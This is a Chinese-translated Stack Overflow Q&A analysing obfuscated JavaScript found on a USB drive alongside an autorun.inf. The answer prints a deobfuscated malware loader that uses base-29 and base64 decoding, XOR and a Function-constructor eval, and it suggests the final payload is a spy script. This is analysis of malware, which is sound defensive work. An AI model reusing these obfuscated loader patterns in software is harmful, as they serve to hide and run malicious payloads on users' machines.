javascript - 混淆了 Javascript 代码?

标签 javascript obfuscation malware deobfuscation

所以我的一个 friend 在他的 pendrive 上有这段奇怪的代码(可能是由恶意软件放在他的电脑上的)。它让我感兴趣的是,有问题的代码是用混淆的 Javascript 编写的(用一段混淆的 autorun.inf 来可能感染易受攻击的主机),除此之外,它没有任何其他奇怪的文件(我使用 ClamAV在他的 pendrive 上,没有发现恶意软件)。

如果有帮助,有问题的程序位于 pendrive 的 77 文件夹中,并且有两个副本(完全相同),每个副本都有一个随机的文件名(见下文)。 autorun.inf 显然是在 root 上找到的。

有人可以向我解释这段代码的作用吗?我做的唯一修改是使用 jsbeautifier.org 缩进这段代码(之前是一行代码)。

Main program (77/g66ac.js & 77/i6a6a.js): http://pastebin.com/uj0xSV1e

autorun.inf: http://pastebin.com/Aqnmtiq6

抱歉,我无法发布有关该主题的完整代码,因为它超出了字符数限制,所以我不得不将其放在 pastebin 中。

最佳答案

我查看了代码并做了一些调查。它更多的是评论而不是答案,但是需要评论的方式,所以这里是:

(function (paramA, paramB, paramC, paramD) {
    someVar = "";
    try {
        paramB = paramB.replace(/[^A-Z0-9]+/gi, ""), paramB = paramB.split([]), someVar = document;
    return
    } catch (e) {
        for (i = 0; i < paramB.length; i += 2) 
          someVar += String.fromCharCode(paramA(paramB[i] + paramB[i + 1], 29));

        String.fromCharCode.constructor(someVar)(paramC, paramD)
    }
})(parseInt, string1, string2, string3)

第一个 View 步骤更改文本并从中创建一个大字符数组。然后抛出异常,我们继续循环。该循环通过 parseInt 创建一个新字符串。它从数组中取出一个字符和下一个字符,并从中创建一个以 29 为基数的数字。

线 String.fromCharCode.constructor(someVar)(paramC, paramD);

很棘手。因为它需要 someVar 这是一个包含 JS 代码的字符串,所以使用构造函数创建一个匿名函数,该函数使用 paramC 和 paramD 调用。

生成的代码如下所示:

kPxRViGad8nHNstI$BVr8Lf="";(function(rycgnpqpq,rycgyjqpq,rycggoqpq,rycglpqpq){rycgnpqpq=rycglpqpq(rycgnpqpq),rycgyjqpq=rycglpqpq(rycgyjqpq);try{eval(rycggoqpq("5eb9485dd4a658f8bf9318976cd9832392d4904d",rycgyjqpq))}catch(rycgbsqpq){}})(arguments[0],arguments[1],function(rycgxhqpq,rycgmfqpq){rycgniqpq="";for(rycgqdqpq=0;rycgqdqpq<rycgmfqpq.length;rycgqdqpq++)rycgniqpq+=String.fromCharCode(rycgxhqpq.charCodeAt(rycgqdqpq%rycgxhqpq.length)^rycgmfqpq.charCodeAt(rycgqdqpq));return rycgniqpq},function(rycgunqpq){rycgfyqpq={},rycgunqpq=rycgunqpq.replace(/[^+A-Z0-9\/]+/gi,""),rycguwqpq="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";for(rycgowqpq=0,rycggdqpq=rycguwqpq.length;rycgowqpq<rycggdqpq;rycgowqpq++)rycgfyqpq[rycguwqpq.charAt(rycgowqpq)]=rycgowqpq;rycgdzqpq=[];for(rycgorqpq=0,rycgrfqpq=rycgunqpq.length;rycgorqpq<rycgrfqpq;rycgorqpq+=4)rycguuqpq=(rycgfyqpq[rycgunqpq.charAt(rycgorqpq)]||0)<<18|(rycgfyqpq[rycgunqpq.charAt(1+rycgorqpq)]||0)<<12|(rycgfyqpq[rycgunqpq.charAt(rycgorqpq+2)]||0)<<6|(rycgfyqpq[rycgunqpq.charAt(3+rycgorqpq)]||0),rycgdzqpq.push(rycguuqpq>>16,rycguuqpq>>8&255,rycguuqpq&255);return rycgdzqpq.length-=[0,0,2,1][rycgunqpq.length%4],String.fromCharCode.apply(String,rycgdzqpq)});

这是一个多重嵌套函数。它最终创建了一个非常大的脚本并在 eval 中运行它。第三个脚本看起来像一些 spy 脚本,因为它包含 homepage_is_newtabpage、last_prompted_google_url、stackoverflow、facebook 等字符串。

关于javascript - 混淆了 Javascript 代码?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18644645/

相关文章:

azure - 使用 Terraform 在存储帐户上启用 Microsoft Defender for Storage 扫描恶意软件

javascript - 创建动态链接下拉菜单

javascript - 愤怒的小鸟使用什么 javascript 混淆?

javascript - 由跨度文本控制的 Onclick 事件

ant - JavaFx TableView 内容在混淆后消失

java - Android - twitter4j Proguard 错误

javascript - 从 wordpress javascript 文件中删除注入(inject)的恶意软件

php - 恶意软件上传到服务器

javascript - 循环遍历每次迭代并将其保存到数组中

javascript - JQuery:不同版本冲突 - 有没有办法隔离版本?